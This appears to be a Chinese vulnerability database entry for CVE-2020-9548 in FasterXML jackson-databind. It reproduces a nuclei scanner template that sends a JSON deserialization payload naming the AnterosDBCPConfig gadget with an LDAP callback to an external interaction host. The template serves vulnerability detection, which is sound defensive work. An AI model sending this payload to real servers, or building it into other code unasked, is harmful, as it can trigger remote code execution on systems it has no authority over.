漏洞信息
漏洞名称: FasterXML Jackson Databind Remote Code Execution Vulnerability
漏洞编号:
漏洞类型: 反序列化
漏洞等级: 严重
漏洞描述: FasterXML Jackson Databind是一个流行的Java库,用于将Java对象序列化为JSON和反序列化JSON为Java对象。它广泛应用于各种Java应用程序中,特别是在Web服务和微服务架构中,用于处理JSON数据。由于其广泛的使用,该库中的漏洞可能影响到大量的应用程序和服务。该漏洞存在于FasterXML jackson-databind 2.x版本中,具体为2.9.10.4之前的版本。漏洞的根本原因在于库在处理序列化小工具和类型交互时的不当处理,特别是与br.com.anteros.dbcp.AnterosDBCPConfig(也称为anteros-core)相关的部分。这种不当处理可能导致远程代码执行(RCE),攻击者可以通过构造恶意的JSON数据来利用此漏洞,从而在目标系统上执行任意代码。由于此漏洞的利用不需要用户交互,且攻击者可以通过网络远程利用,因此其安全风险极高。成功的利用可能导致完全的系统接管,数据泄露,或服务中断。鉴于该漏洞的严重性和易利用性,强烈建议使用受影响版本的用户立即升级到2.9.10.4或更高版本。
产品厂商: fasterxml
产品名称: jackson-databind
影响版本: 2.x before 2.9.10.4
来源: https://github.com/projectdiscovery/nuclei-templates/blob/9096b630e295048c0402d5291bbebc1f0802e703/http%2Fcves%2F2020%2FCVE-2020-9548.yaml
类型: projectdiscovery/nuclei-templates:github issues
POC详情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| id: CVE-2020-9548
info: name: FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution author: tomaquet18 severity: critical description: | FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core). reference: - https: - https: - https: - https: - https: classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-9548 cwe-id: CWE-502 epss-score: 0.13945 epss-percentile: 0.93967 cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: fasterxml product: jackson-databind tags: cve,cve2020,jackson,fasterxml,rce
http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
[ "br.com.anteros.dbcp.AnterosDBCPConfig", { "healthCheckRegistry": "ldap://{{interactsh-url}}" } ]
matchers: - type: dsl dsl: - 'contains(interactsh_protocol, "dns")' - 'contains(body, "Error: Class")' - 'contains(content_type, "text/plain")' condition: and
|